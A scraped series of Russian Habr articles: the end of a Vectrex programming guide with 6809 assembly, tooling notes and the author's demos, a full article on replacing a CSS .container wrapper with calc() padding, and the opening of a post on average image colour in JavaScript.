3. Включать и выключать луч в процессе его движения нужно очень быстро и точно.
Приемлимая скорость возможна лишь при использовании shift register.
Причём, если при рисовании пунктирной линии равномерность пунктира мало кого волнует, то при выводе изображения регулярная потеря точек или лишние промежутки, особенно в совокупности с другими проблемами — недопустимы.
Подход, с таймером тут не срабатывает, поэтому нужно использовать описанный ранее запуск интегрирования вручную после чего, через точно рассчитанные промежутки времени (так, чтобы каждые 8 «пикселов» правильно стыковались друг с другом) shift register обновляется нужными значениями. Соответственно, окончание рисования линии определяется также вручную — программным счётчиком.
Именно так работает подпрограмма BIOS Print\_Str, при помощи которой обычно выводятся на экран текстовые строки. На практике, однако, есть масса ньюансов — достаточно посмотреть в код Print\_Str. Кстати говоря, в ней для экономии тактов после каждой строки луч не устанавливается в ноль. Из-за чего почти любая строка (длиннее нескольких символов, взависимости от масштаба) выводится искажённой, как минимум на некоторых экземплярах Vectrex.
4.Как уже было замечено ранее, переключать яркость во время рисования линии проблематично. Однако ничто (кроме необходимости уложиться в 30000 тактов) не мешает рисовать 2-3 растра разной яркости, накладывая один на другой.
Звук
----
Несмотря на почтенный возраст, со звуком в Vectrex дела обстоят неплохо. Есть даже два независимых способа его воспроизводить — через чип AY8912 (т.е. аналогично Yamaha MSX2 и продвинутым версиям ZX Spectrum) и через ЦАП (т.е. проигрывая сэмплы).
Применение сэмплов ограничено скромным размером адресуемой памяти и производительностью процессора — слишком много тактов будет расходоваться на звук. Я использовал оцифровку короткой фразы в своей интро [Invitron](http://www.pouet.net/prod.php?which=65963). Общий смысл в том, что выбирается соответствующий канал мультиплексора (sel0=1, sel1=1) и далее значения (8 бит, со знаком) пишутся в ЦАП.
Выглядит это так:
```
lda #%10000110
sta next
done:
....
sample:
db xx, xx, xx, ...
```
Преобразовать сэмпл к нужному виду (в данном случае signed 8 bit, mono, 8khz) можно так:
ffmpeg -i input.wav -acodec pcm\_s8 -ar 8000 -ac 1 output.au (не забыв потом отрезать заголовок)
Что касается проигрывания музыки через AY8912, то это основной способ, не слишком затратный по тактам. Даже в BIOS'е есть встроенные средства для воспроизведения примитивных мелодий (и небольшой их набор). Проиграть мелодию оттуда можно так:
```
inc Vec_Music_Flag
loop:
jsr DP_to_C8
ldu #$fef8 ; адрес данных мелодии в ROM
jsr Init_Music_chk ; инициализация
jsr Wait_Recal ; стандартное ожидание следующего кадра и рекалибровка
jsr Do_Sound ; проигрывание
tst Vec_Music_Flag ; проверка доигралась ли мелодия
beq endmusic
jsr DP_to_D0
; здесь, при необходимости, вывод изображения
bra loop
endmusic:
```
Однако, если говорить о воспроизведении на 8912 нормальной музыки, самый простой способ — использование YM\_VPACK.EXE из пакета VecSound от Christopher Salomon (понадобится DosBox).
YM\_VPACK преобразует известный (в узких кругах :) формат YM (YM5) в .asm, содержащий сразу плейер (умеющий распаковывать музыку на лету) и саму музыку. Под Windows .ym можно получить путём экспорта из Arkos Tracker, либо преобразовав с помощью в [AY\_Emul](http://bulba.untergrund.net/emulator_e.htm) (преобразование там из плейлиста осуществляется).
Файл .ym для YM\_VPACK предварительно должен быть распакован (пакованный YM — это архив lha). Остаётся натравить на него ассемблер, в результате чего получится бинарник, включающий плеер и музыку, который можно запустить на Vectrex. Нужно учитывать, что тактов всё равно расходуется немало (там происходит RLE распаковка «на лету»). Совсем же неупакованная музыка скорее всего займёт неприемлимый объем.
Для звуковых эффектов через 8912 также есть готовое решение — AYFXEdit (PC/Win) и плеер для них в виде sfx.asm (от Richard Chadd).
Карта памяти
------------
Память распределена следующим образом
```
$0000 - $7FFF - ПЗУ картриджа (собственно, ваша программа)
$8000 - $C7FF - не используемое адресное пространство
$C800 - $CBFF - ОЗУ, свободно - 874 байта
$C800 - $C87F - ОЗУ, используется Vectrex'ом
$D000 - $D7FF - регистры VIA 6522
$D800 - $DFFF - адресуются одновременно ОЗУ и 6522, не использовать
$E000 - $FFFF - ПЗУ BIOS (включая игру Minestorm)
```
При включении Vectrex, после инициализации системы BIOS и показа заставки, программа начинает выполняться с адреса $0000. После нажатия Reset, либо при включении с зажатой кнопкой «1» заставка пропускается.
В случае каких-либо проблем с чтением картриджа типичная реакция системы — запуск встроенной игры MineStorm.
О загадочном канале «zero ref»
------------------------------
Помимо каналов Y, Z и SOUND у мультиплексора есть ещё один загадочный выход, обозначенный на схеме как 'ZERO REF' и ведущий на положительные входы интеграторов. В BIOS этот канал выбирается только в подпрограмме Reset\_Pen (она же ACTGND в официальном листинге — SET ACTIVE GROUND). Эта подпрограмма, в свою очередь, часть Reset0Ref (вызываемой при сбросе луча в центр экрана) и явно является частью процесса калибровки. Процитирую мнение svo на эту тему:
*— svo ---*
Ноль DAC-а не равен нулю железному (типа потенциал земли) ни разу. И, чтобы быть уверенным, что мы все делаем именно относительно DAC-овского логического нуля, мы выполняем такой фокус. Запоминаем на S&H, что бы он там ни выдавал, и дальше работаем относительно этого значения.
ЦАП перемножающий, выдает ток, пропорциональный произведению разности потенциалов Vref+-Vref- (ноги 14, 15) и цифрового значения на входе. Как устанавливаются эти Vref, похоже не очень важно, суть в том, что какой-то ток скармливается на преобразователь тока в напряжение + фильтр на IC304/2. И вот у него на выходе все уже совсем приблизительно.
Какому потенциалу соответствует цифра «0» в этакой схеме? Я думаю, что разработчики этой схемы очень хорошо знали, что это будет всякий раз разный потенциал, и сделали такую самокалибрующуюся конструкцию.
Интегратор интегрирует по времени значение разности потенциалов между входами ОУ. Например, если разность 0, то интеграл этого должен быть 0 даже при T=вечность. Если потенциал неинвертирующего входа не будет равен потенциалу нуля, потому что мы забили на калибровку, получится нелинейность, типа 1 — 0 != 2 — 1. Интеграл нуля не будет равен нулю и все уползет неизвестно куда. Внешне это, наверное, и должно проявляться как плохо предсказуемые искажения векторов.
*— end svo ---*
СРЕДСТВА РАЗРАБОТКИ
-------------------
Проблема с эмуляторами Vectrex носит иной характер, чем с эмуляторами компьютеров с растровым дисплеем (Commodore, Atari, Spectrum и пр.) Существенная часть схемы Vectrex — аналоговая. И полная её эмуляция хотя и возможна чисто теоретически, на практике вряд ли в ближайшее время кто-то будет заниматься подобным.
Соответственно, существующие эмуляторы в этом отношении скорее симуляторы — на них корректно работает лишь некоторое количество наиболее используемых в играх и демках подходов к формированию изображения. Впрочем, это покрывает почти все игры и часть демок.
Лучший на данный момент (октябрь 2016 г.) эмулятор Vectrex — [Vide](http://vide.malban.de/).
Он хорош как эмулятор (достаточно сказать, что он правильно изображает кривые в моей интро Electric Force. Хотя и делает это не вполне честно). Помимо этого, по сути Vide является средой разработки. Кроме эмулятора в нём есть отладчик, редактор, масса различных утилит для конвертации музыки, сэмплов, создания векторных рисунков и прочее. Вещь довольно сырая и иногда ведёт себя странно. Но вполне рабочая. Когда я писал под Vectrex упомянутые здесь работы, Vide не существовало, поэтому подробностей не будет. Впрочем, там всё самоочевидно по сравнению с ParaJVE.
Другой эмулятор Vectrex — ParaJVE.
Он включает отладчик ParaJVD, из под которого запускается ParaJVE. Всё это можно получить, написав [автору](http://parajvd.blogspot.ru/2010/03/parajvd-alpha-version.html) вежливое письмо и попросив у него ключик.
Как это работает:
Создаём где-нибудь test.asm. Например, в C:\Program Files (x86)\parajvd\data\sources\test
В качестве ассемблера можно использовать as09 v1.41 / windows (79872 bytes) или a09.exe / windows (98304 bytes). Оба нормально запускаются под Win 64 бит (большинство ассемблеров 6809 не запускаются под Win 64).
Я пользовался as09, но предупреждаю, что у него есть две проблемы 1) макросы почти неработоспособны 2) слишком длинные строки (комментариев) не допускаются. Причём, в обоих случаях возникают очень странные ошибки.
Сборка происходит двумя командами:
```
as09.exe -i test.asm (получаем бинарник test.bin)
as09.exe -ig -h0 -w200 -l -m test.asm (получаем отладочную информацию - test.dbg и test.lst)
```
В результате имеем .asm, .bin, .dbg, .lst
(.lst очень полезен если нужно посмотреть, во-первых, как именно ассемблер понял каждую мнемонику, во-вторых, сколько тактов какие команды займут)
Далее можно просто запустить .bin в эмуляторе jve:
```
ParaJVE.exe -game=test.bin
```
А можно в отладчике jvd:
Запускаем parajvd.bat, создаём проект. Там есть два варианта (source mode) — .lst либо .dbg. Разница в следующем (цитирую автора):
> *So the DBG mode shows the source exactly as you typed it, whereas LST does not (if you look at the content of a generated LST file, you will see that it contains lots of «garbage» text, like generated addresses, etc.). But on the other hand, the LST option is good if your source uses a lot of macros (LST will display the expanded macro, whereas DBG will not).*
В качестве «source» выбираем не .asm (как можно было бы подумать), а .dbg либо .lst
Если проект уже создан, просто выбираем после запуска jvd.bat нужный. Запускается jvd и в нём ваш test.bin. Можно отлаживать.
Нет иного способа перезагрузить dbg/lst, кроме как полным перезапуском jvd (!). Меню Debug/Reload Cartridge ROM относится к jve. Т.е. jvd [не узнает о перезагрузке](http://www.vectrex.fr/tracker/view.php?id=28).
Через этот Reload можно перезагрузить перекомпилированный .bin и он запустится, не более того. Причём, нельзя делать это когда програма остановлена (например, на breakpoint'e) — всё повиснет.
Breakpoint'ы при выходе сохраняются (т.е. при следующем запуске jvd он сработает).
Ещё раз: не стоит воспринимать JVE как полноценный эмулятор железа. Он ориентирован скорее на выполнение типичного софта. К примеру, всё что происходит в вызове Wait\_Recal для эмулятора без особого ущерба можно сократить до нескольких команд (вызов DP\_to\_D0 и сброс интеграторов). Получившийся код будет прекрасно работать в эмуляторе, но совершенно не работать на реальном железе.
Кроме того, от некоторых безобидных на вид сочетаний команд эмулятор может падать с ошибкой.
Однако, если при программировании не выходить за рамки того, что делается в самом BIOS'е, можно считать, что эмуляция достаточно хороша.
Из достойных внимания есть ещё один, более старый эмулятор — [DVE](http://www.zophar.net/vectrex/dve.html). Он похуже и под DOS. Тем не менее, вполне работает под DosBox, включает отладчик с дизассемблером и может быть полезен. В числе прочего, рекомендую почитать help.dat/\* от него.
Лично мне было оптимально писать код в Sublime Text 3, а затем одним нажатием кнопки ассемблировать его и тут же запускать в JVE (запуская соответствующий .bat).
Отладчик (JVD) я не использовал вообще — чем с ним возиться, быстрее самому понять, где ошибка.
Сейчас безусловно лучше и проще использовать [Vide](http://vide.malban.de/).
Разумеется, регулярно приходилось проверять код на настоящем Vectrex. Я для этого использовал эмулятор ПЗУ изготовленный svo (подключаемый по USB), но позднее купил [другой](http://www.vectrex.hackermesh.org/index.php/en/mvbd-mvmc-3/faq).
Заготовка исходника .asm:
```
include "vectrex.i"
org 0
db "g GCE 2015", $80 ; Изменять можно только год. 'g' - знак копирайта
dw $F600 ; адрес музыки которую надо играть при показе названия программы на начальной заставке (в данном случае - никакой)
db $F8, $32, 33, -$36; высота, ширина, Y, X названия программы на заставке
db "PROGRAM TITLE", $80; название программы
db 0 ; признак конца заголовка
loop:
jsr Wait_Recal
....
bra loop
```
Немного о дизассемблерах… Их есть два, предназначенных именно для Vectrex — оба с исходниками (на C и на Pascal). Оба под DOS (т.е. требуют DosBox) и без описания.
С одним из этих дизассемблеров идут конфиги для дизассемблирования пары десятков игр и программ. Всё это можно найти на <http://vectrexmuseum.com/share/coder/>
Также можно попробовать IDA. Но до версии 6.7 он не понимает адресации по DP (что делает его практически бесполезным). В 6.7. вроде как это изменилось, но я не проверял.
Лично я пользовался DIS6809.EXE, вполне успешно. Для него надо создать .ctl примерно такого вида:
```
; FILENAME.CTL
TITLE _просто_название_
ASM
FILE FILENAME.BIN 000000 0000 076A
LABS LABELS
ENTRY 0024 ; начало кода
ASCII 0000 0023 ; от 0 до 23 - ascii строка
BYTE 0710 0769 ; от 0710 до 0769 - данные (fcb)
```
и т.д. (там есть исходник на Паскале, из него в общих чертах ясно, что делают те или иные ключевые слова и параметры). Затем в DosBox пишем dis6809 filename.ctl >filename.asm
Приложение — мои работы для VECTREX
-----------------------------------
Мной были написаны несколько работ под Vectrex — Electric Force (233 байта), Invitron (32 килобайта) и две пробных — Rainy (413 байт) и Emptyscreentro (128 байт).
**Electric Force** (233b)
[(source+bin)](http://www.enlight.ru/files/electricforce_src.zip)
В работе использована не совсем стандартная возможность Vectrex рисовать кривые (изменяя значение на ЦАП-е в канале X в процессе того, как идёт интегрирование по каналу Y). Рисование кривых — первое, что меня заинтересовало, когда я начал изучать Vectrex. Соответственно, эксперименты затем вылились в эту работу, представленную на конкурс Tiny intro фестиваля Chaos Constructions'2015.
Эмулятор (ParaJVE) плохо понимает такие вещи (хотя и понимает), поэтому в нём это смотреть не стоит — если нет Vectrex'a, лучше посмотреть на Youtube.
Надо сказать, что сколько я не пытался записать нормальное видео (на Sony NEX7, 35/F1.8) — получается лишь жалкое подобие того, что видно на ЭЛТ экране. Во-первых, катастрофически не хватает динамического диапазона — между совершенно чёрным экраном и яркой точкой на нём, где задерживается луч — огромная разница в яркости, которую камера никак не может зафиксировать. Кроме того, не передать плавность (маленькая выдержка снижает чувствительность). Короче говоря, видео — плод компромиссов, в результате которого «тёплая ламповость» неизбежно теряется, что очень обидно.
По самому коду в плане рисования кривых — см. соответствующий раздел моей статьи.
В конце кривых луч намеренно задерживается на несколько тактов, в результате чего появляются яркие точки — «искры».
«Случайные» данные для кривых берутся из BIOS, конкретно — из таблицы символов (там попадаются наиболее подходящие значения ;)
Количество кривых — фактически предельное, чтобы уложиться (вместе со всеми вычислениями + изменение яркости + возврат к центру экрана для калибровки + отрисовка текста + две горизонтальные линии) в стандартные 30 тыс тактов на «кадр».
Длина горизонтальных линий — максимальная, какую можно обеспечить одной линией в максимальном масштабе. На моём экземпляре Vectrex'a получается чуть меньше ширины экрана, на другом запросто может быть иначе.
Отдельно замечу, что хотя никакого звука в коде нет, сам Vectrex из-за наводок жужжит (это типично для большинства Vectrex'ов), что в данном случае скорее плюс :)
[Youtube](http://www.youtube.com/watch?v=lPZPBwaWRuk) | [Pouet](http://www.pouet.net/prod.php?which=66303)
**Invitron** (32kb)
[(source+bin)](http://www.enlight.ru/files/invitron_src.zip)
Работа была написана в качестве invitation intro (приглашения) на Chaos Constructions'2015.
Основной объём из её 32к занимает оцифрованный (7кГц) несжатый голос — 20кб. Известная (в узких кругах) фраза «здесь пахнет демосценой» была произнесена Random'ом во время «Random speech compo» на CC'2004.
Её проигрывание осуществляется через ЦАП. После этого через чип AY8912 фоном начинает играть музыка Plaigraunt by C-Jeff. Она преобразована из pt3 в .YM через AY-Emul, затем в данные для VecSound через ym\_vpack. Соответственно, в качестве плеера используется VecSound.
Как несложно услышать, плеер этот далеко не идеален, но попытки найти другой — успехом не увенчались. Так что, с одной стороны, неудобно перед C-Jeff-ом за искажение его отличной музыки, с другой — альтернативы всё равно не было (разбираться с 8912 и писать плеер самостоятельно я морально не готов :).
В процессе проигрывания VecSound плеер распаковывает YM на лету. Хотя там довольно простое сжатие, на это уходит порядочно тактов. В распакованном же виде музыка бы не влезла в стандартный 32кб объём картриджа Vectrex.
Что касается основной части интро — она была навеяна титрами из фильма «Tron Legacy». Конечно, сходство весьма поверхностное. Проблема в том, что за 30 тыс тактов (на условный «кадр») можно нарисовать очень немного векторов (ну или много, но очень коротких). Напомню, что перемещение луча к началу следующего вектора — тоже считается за вектор, как и яркие точки. При этом, после рисования почти каждого вектора, нужно рекалибровать систему, возвращая луч к центру экрана (иначе всё будет съезжать, искажаться и пр.).
Скроллинг верхней и нижней части реализован довольно просто — каждый вектор сначала рисуется за пределами экрана и затем, с каждым кадром, добавляется смещение. После того, как он скроется за другим краем, всё повторяется. Таким образом можно скроллить лишь векторы довольно небольшой длины. Это связано с тем, что напряжение на выходе интеграторов не может превысить определённое значение. Поэтому, если смещать луч в одном направлении снова и снова, в конце концов он как бы упрётся в невидимую эластичную «стену». Забавно, что в эмуляторе (ParaJVE) эта особенность железа не учитывается и луч уходит сколь угодно далеко.
Точки на концах векторов яркие не за счёт управления яркостью, а за счёт того, что луч задерживается в этом месте несколько тактов (эмулятор это также не понимает, да и в видеоролике, к сожалению, эффекта почти не видно).
Текст в центре первоначально хотелось выводить, рисуя символы векторами. Однако, это оказалось совершенно неприемлимо по тактам. В итоге, используется переделанная процедура BIOS выводящая строку «растром». Переделка заключалась, во-первых, в разворачивании подпрограмм, которые из неё вызывались (для экономии тактов) и, во-вторых, скорректирована одна задержка, из-за которой на большинстве Vectrex'ов (насколько это можно судить по разным видео на youtube), длинные строки текста начинает перекашивать в определённом направлении.
Подпрограммы рисования векторов, перемещения луча, изменения яркости — также все были вынуты из BIOS, вставлены непосредственно в код интро и, по-возможности, оптимизированы.
По ходу дела обнаружилось, что asm09win некорректно работает с макросами — когда их начинаешь использовать, при ассемблировании периодически возникают странные синтаксические ошибки, в произвольных строках. Пришлось нужные куски исходника дублировать вручную.
[Youtube](https://www.youtube.com/watch?v=vf_fb8G5Rdc) | [Pouet](http://www.pouet.net/prod.php?which=65963)
**EmptyScreentro** (128b)
[(source+bin)](http://www.enlight.ru/files/emptyscreentro_src.zip)
Эксперимент по выводу изображения за пределы экрана (туда, где ещё есть люминофор, но он уже скрыт корпусом).
Рисуются две вертикальные линии слева и справа, в максимальном масштабе и с максимальной яркостью. При этом рисуются по 30 раз за кадр каждая, за счёт чего яркость возрастает ещё больше и свечение из под рамки становится отчётливо видно. В принципе, таким образом можно попортить кинескоп, хотя в данном случае участок всё равно находится за пределами видимой области. Кроме того, теоретически в Vectrex есть защита от слишком долгого нахождения луча в одном положении (яркость должна автоматически уменьшиться).
Длина линий меняется взависимости от данных при проигрывании короткой мелодии через AY8912 (которая берётся из ROM).
[Youtube](https://www.youtube.com/watch?v=HP0M89IQiQI)
**Rainy** (413b)
[(source+bin)](http://www.enlight.ru/files/rainy_src.zip)
Имитация струй дождя с переменной интенсивностью. Используется большое количество векторов разной яркости и с разным паттерном (изменяющимся в процессе). Масштаб максимальный. Внизу, в конце линии, луч на некоторое время придерживается, для получения яркой точки.
Хотя этот код был первой попыткой написать что-то осмысленное для Vectrex, опубликована работа была последней. При большом желании код можно сократить как минимум вдвое (данные для координат линий не хранить, а вычислять, а также частично использовать подпрограммы BIOS для Draw\_Line\_d, Move\_D, Reset0Ref, Intensity\_a (в данном случае они вынесены из BIOS и модицифированы, без чего потенциально можно обойтись).
[Youtube](https://www.youtube.com/watch?v=MriSTEdnU5U)
Ссылки
------
> » [Мой семинар про Vectrex, CC'2015](https://www.youtube.com/watch?v=EYtilL7C23k)
>
> » <http://vectrexmuseum.com/share/coder/>
>
> » [Форум vectorgaming](http://vectorgaming.proboards.com/board/22/vectrex-programming-modifications-discussions)
>
> » [Группа Vectrex fans unite! в Facebook](https://www.facebook.com/groups/104852679725118/)
>
> » [Vide](http://vide.malban.de/)
>
> » [ParaJVD](http://parajvd.blogspot.com)
>
> » [ParaJVE](http://vectrex-emu.blogspot.com)
>
> » [Asm80 — онлайн эмулятор 6809, с отладчиком](http://www.asm80.com)
>
> » [Архив, в который я собрал различную документацию, примеры и утилиты (кроме эмуляторов)](http://enlight.ru/files/vectrex.zip)
>
> » [Мой перевод статьи о разработке игры Frogger для Vectrex](http://enlight.ru/post/9436/)
>
> » [Рассказ svo о Vectrex (текст и видео)](http://enlight.ru/post/8956/)
>
> » [Исходники моих работ — Electric Force, Invitron, Rainy, EmptyScreenTro](http://enlight.ru/post/9575/)
А также в Интернете несложно найти книжки «6809 Assembly Language Programming — Leventhal.pdf», «CoCoAssemblyLang\_Color.pdf»
[Здесь](http://enlight.ru/roi/) можно посмотреть мои работы под разные ретро-платформы, а [здесь](https://github.com/petersobolev) их исходники на github.
Статья была написана в сентябре 2015 года и дополнена в октябре 2016-го.
**P.S.** Спасибо Тиму Ташпулатову (tnt23) за Vectrex и Вячеславу Славинскому (svo) за эмулятор ПЗУ | https://habr.com/ru/post/313218/ | null | ru | null |
# .container больше не нужен
Все верстальщики в своих проектах используют div.container для центрирования контента и этот способ имеет некоторые особенности, от которых можно избавиться. Прочитав эту статью, Вы узнаете про способ, который позволит полностью отказаться от контейнера. Я попытаюсь рассказать о плюсах и минусах использования контейнера и альтернативного способа центрирования контента средствами только лишь css.
P.S. Надеюсь качество GIF'ок позволяет что-то разглядеть.
Навигация:
1. [Немного о стандартном .container](#1)
2. [Минусы .container](#2)
3. [Работа с .container и медиа-запросами](#3)
4. [Замена .container одним css-свойством](#4)
5. [Комбинация с медиа-запросами](#5)
6. [Пример из реальной практики, сравнение методов](#6)
7. [Рекомендации](#7)
8. [Заключение](#8)
CSS:
```
.container {
max-width: 1170px;
margin: auto;
height: 1000px;
}
```
#### Немного о стандартном .container
Изображение выше и код наглядно показывают как работает стандартный контейнер в типовой вёрстке сайта. Наверное все знают, что обычно создается тег section, в него помещается div.container и уже в него помещают различный контент. Он занимает всю ширину экрана, например, до 1170px и когда экран становится больше, то играет роль обёртки и фиксирует контент в центре страницы, не давая ему «разбежаться» в стороны.
Так почему бы сразу не задать эти стили для контента? Если задать эти стили для секции без контейнера, то вроде бы всё смотрится нормально.
HTML:
```
Заголовок страницы
==================
Lorem ipsum dolor.
...
```
Но как только требуется задать фон для секции, ситуация сразу выходит из под контроля:
Если задать для секции фон, внутрь секции положить контейнер с его стилями, а в него уже контент, то всё заработает так, как надо:
HTML:
```
Заголовок страницы
==================
Lorem ipsum dolor.
...
```
#### Минусы .container
Самый очевидный минус контейнера — создание лишних блоков в разметке, которое ведет к увеличению цепочки вложенностей элементов и понижению читаемости кода.
Также создание контейнера может вызвать сложности в названиях классов (иногда нужно придумать дополнительный класс для обёртки внутри контейнера). Это всё просто увеличивает код.
Выше мы рассмотрели самый простой пример. Но если на сайте 15 секций или больше? Это 15 лишних блоков. А если нам внутри контейнера нужно разделить секцию еще на две части и сделать их flex-элементами? Нужно создать div-обёртку, это еще по одному блоку в контейнер. И уже +2 лишних блока на секцию! Как я уже сказал выше — эти div'ные вложенности «мусорят» в разметке. Но возможности css позволяют нам обойтись и без них.
#### Работа с .container и медиа-запросами
Я не так давно в веб-разработке, но уже нашел способ адекватно работать с контейнером и в итоге вообще избавился от него. Я так понимаю .container «родился» в [bootstrap](https://getbootstrap.com/) и теперь его используют абсолютно везде.
Взяв за основу [сетку bootstrap](https://getbootstrap.com/docs/4.3/layout/grid/#grid-options) можно значительно упростить себе работу с css медиа-запросами, используя следующий код:
CSS:
```
.container {
padding: 0 15px;
}
@media (min-width: 575.98px){
.container {
max-width: 540px;
margin: auto;
padding: 0;
}
}
@media (min-width: 767.98px){
.container {
max-width: 720px;
}
}
@media (min-width: 991.98px) {
.container {
max-width: 960px;
}
}
@media (min-width: 1199.98px){
.container {
max-width: 1140px;
}
}
```
Что он делает? Если кратко, то держит контент всегда в центре и меняет его размеры на разных экранах:
1. На экранах до 576px контент растягивается, но боковые отступы в 15px сохраняются.
2. На экранах от 576px до 768px контент находится в центре и его ширина 540px.
3. На экранах от 768px до 992px контент в центре и его ширина 720px.
4. На экранах от 992px до 1200px контент в центре и его ширина 960px.
5. На экранах от 1200px контент в центре с шириной 1140px.
Такая система сетки даёт явные преимущества:
1. У нас есть 4 четких медиа-запроса: для больших экранов, для средних экранов, для маленьких экранов, для планшетов.
2. имеем всего один небольшой промежуток от 320px до 576px, который нужно адаптировать как бы «вручную» — уменьшая по 1px ширины контента.
Использовать такую настройку медиа-запросов с контейнером очень удобно. Если еще не используете, то попробуйте и вы обязательно согласитесь. В конце концов в Twitter же не дураки сидят, не просто так придумали именно такую сетку размеров экрана.
На рисунке ниже изображена работа .container в связке с медиа-запросами, которые я подсмотрел у bootstrap.
#### Замена .container одним css-свойством
Наконец-то мы подошли к самому интересному. Так как же заменить .container? Для начала разберемся что нам нужно сделать. Нам нужно две вещи:
1. Чтобы контент был фиксированной ширины, например 1180px и не разбегался в стороны.
2. Чтобы при этом можно было задать цвет или фон для всей секции.
Что может отодвинуть контент в центр секции и при этом фон останется везде внутри? Ответ оказался прост: **задаём для секции внутренние отступы — padding.** Но padding не простой. Но для примера давайте сначала попробуем задать простой padding.
Допустим нам нужна ширина контента 1180px, значит *1920 — 1180 = 740 / 2 = 370px* — будут боковые отступы в нашей секции. Смотрим:
HTML:
```
content
```
CSS:
```
section {
background-color: pink;
height: 1000px;
padding: 0 370px;
}
```
Да уж. При уменьшении экрана, наши отступы сжимают контент. Не годится. Может возможно сделать отступы динамическими? Возможно! И ресурсами одного лишь css!
Для этого воспользуемся функцией [**calc()**](https://webref.ru/css/value/calc). На данный момент css-функция calc() [поддерживается на 96.5%](https://caniuse.com/#feat=calc), что всего на 1% меньше, чем flexbox, а это значит, что её можно смело использовать. Для динамических внутренних отступов нужно выполнить одну математическую операцию.
Давайте уже скорее посмотрим на пример:
Мне нравится! Без всяких дополнительных блоков наша секция ведёт себя ровно так же, как с .container. С уменьшением экрана уменьшаются padding, а контент остается фиксированным по ширине. И это всего лишь одно css-свойство:
CSS:
```
section {
padding: 0 calc(50% - 590px);
}
```
UPD: Упросил формулу. Спасибо [Metotron0](https://habr.com/ru/users/metotron0/).
Таким образом мы задаём боковые внутренние отступы с помощью функции calc(), которая при любом разрешении экрана высчитывает эти отступы так, чтобы контент был 1180px! Вы только попробуйте.
Можно поиграться с корректирующим значением *590px* и сделать контент 1140px или 1170px, как угодно!
***Посмотрите [сравнение](#6) этого метода с контейнером прямо сейчас!***
#### Комбинация с медиа-запросами
Было бы очень хорошо встроить это в сетку от bootstrap, чтобы легче было адаптировать сайт.
Давайте попробуем:
CSS:
```
section{
padding: 0 15px;
}
@media (min-width: 575.98px){
section {
padding: 0 calc(50% - 270px);
}
}
@media (min-width: 767.98px){
section {
padding: 0 calc(50% - 360px);
}
}
@media (min-width: 991.98px) {
section {
padding: 0 calc(50% - 480px);
}
}
@media (min-width: 1199.98px){
section {
padding: 0 calc(50% - 590px);
}
}
```
Результат:
Итого на разных размерах экранов мы имеем:
1. от 320px до 576px авто ширину контента и фиксированные отступы 15px.
2. от 576px до 768px ширину 540px и динамические отступы.
3. от 768px до 992px ширину 720px и динамические отступы.
4. от 992px до 1200px ширину 960px и динамические отступы.
5. от 1200px ширину 1180px и динамические отступы.
Это же абсолютно тоже самое, что и с div.container! Только без лишних блоков.
#### Пример из реальной практики, сравнение методов
Всё еще не видите пользы от метода с динамическими отступами? Тогда давайте взглянем на пример из реальной практики. Надевайте очки разработчика — есть следующая секция (кликабельно):
[](https://habrastorage.org/webt/--/bo/ue/--boueuz463zmnpyrntlxgpuom0.jpeg)
Какие мысли? Есть секция, в ней два отдельных блока, чтобы разбросать их по сторонам, хорошо бы задать для секции display: flex и jcsb. Но если использовать .container, то придётся оборачивать два этих блока в ещё один и ему уже задавать df. Разве это удобно? Пробуем:
HTML:
```
....
....
```
CSS:
```
.brif-section {
background: background;
}
.container {
max-width: 1180px;
margin: auto;
}
.brif-wrapper {
display: flex;
justify-content: space-between;
}
```
А теперь посмотрите как это выглядит если использовать динамические отступы:
HTML:
```
....
....
```
CSS:
```
.brif-section {
display: flex;
justify-content: space-between;
padding: 0 calc(50% - 590px);
background: background;
}
```
Только посмотрите как уменьшился код, он стал чище, читать его стало легче. Получилась секция, которая содержит блок с текстом и форму — ничего лишнего! И это всего лишь одна секция. Повторюсь: а если на сайте 15 секций?
Итак, начинаем подводить итоги:
**Плюсы** .container:,
* Контент зафиксирован в центре и имеет нужную ширину.
* Можно задать нужный фон для всей секции.
**Минусы** .container:
* Он является дополнительным div.
* Иногда нужно создавать еще один дополнительный div.
* Код «раздувается» и труднее читается.
* Иногда нужно задавать фон для секции, а другие стили для блока-обёртки.
* Нужно придумывать какой-то класс для блока-обёртки.
**Плюсы** padding (относительно .container):
* Контент зафиксирован в центре и имеет нужную ширину.
* Можно задать нужный фон для всей секции.
* Нет дополнительных блоков, обёрток.
* Код чище и легче читается.
* Все нужные стили задаются только для секции.
**Минусы** padding:
* Нужно для секций задавать padding-top и padding-bottom отдельными свойствами.
То есть не:
```
section {
padding: 50px 0;
}
```
А вот так:
```
section {
padding-top: 50px;
padding-bottom: 50px;
}
```
Иначе они перезапишут динамические отступы.
#### Рекомендации
Мне нравится метод с динамическими внутренними отступами. Попробуйте его вместо привычной «контейнерной» вёрстки и вы быстро заметите как повысилась чистота вашего кода. Если есть какие-то сомнения в этом методе, то пишите их в комментарии — обсудим!
Рекомендую использовать не %, а vw. Чтобы ширина считалась не от родителя, а от ширины области промотора браузера. Так просто надёжнее. Поддержка vw — 96% [тут](https://caniuse.com/#feat=viewport-units).
CSS:
```
section {
padding: 0 calc(50vw - 590px);
}
```
Создайте свой шаблон этих стилей с медиа-запросами, например:
```
section, header, footer {
padding: 0 15px;
}
@media (min-width: 575.98px){
section, header, footer {
padding: 0 calc(50vw - 270px);
}
}
@media (min-width: 767.98px){
section, header, footer {
padding: 0 calc(50vw - 360px);
}
}
@media (min-width: 991.98px) {
section, header, footer {
padding: 0 calc(50vw - 480px);
}
}
@media (min-width: 1199.98px){
section, header, footer {
padding: 0 calc(50vw - 590px);
}
}
```
#### Заключение
Метод с динамическими отступами выполняет ту же функцию, что и div.container, но полностью лишён всех его недостатков. Возможно этот метод имеет какие-то подводные камни, но я пока их не встретил. Пока всё работает абсолютно так же, как с контейнером.
Не бойтесь чего-то нового. Просто начните применять этот метод и в скором времени вы почувствуете некоторое облегчение. Используйте css на полную катушку!
P.S. Если во время использования этого метода всплывут какие-то подводные камни — опишите их в комментариях! Будем разбираться. | https://habr.com/ru/post/463923/ | null | ru | null |
# Средний цвет в JavaScript
По работе делал листалку фотографий. Сопровождающий текст было решено положить на усреднённый цвет фото. Тема среднего цвета заинтересовала, и я решил
посмотреть какие ещё варианты можно использовать в верстке.
Фон
---
Рассчитываем средний цвет фотографии и устанавливаем цвет подложки. [Пример](https://fast-average-color.github.io/examples/background.html)
[](https://fast-average-color.github.io/examples/background.html)
Градиент
--------
Средний цвет высчитывается у верхней или нижней части картинки и используется в подложке для текста. Между картинкой и подложкой установлен плавный градиент. Стиль Яндекс.Дзена. [Пример](https://fast-average-color.github.io/examples/gradient.html)
[](https://fast-average-color.github.io/examples/gradient.html)
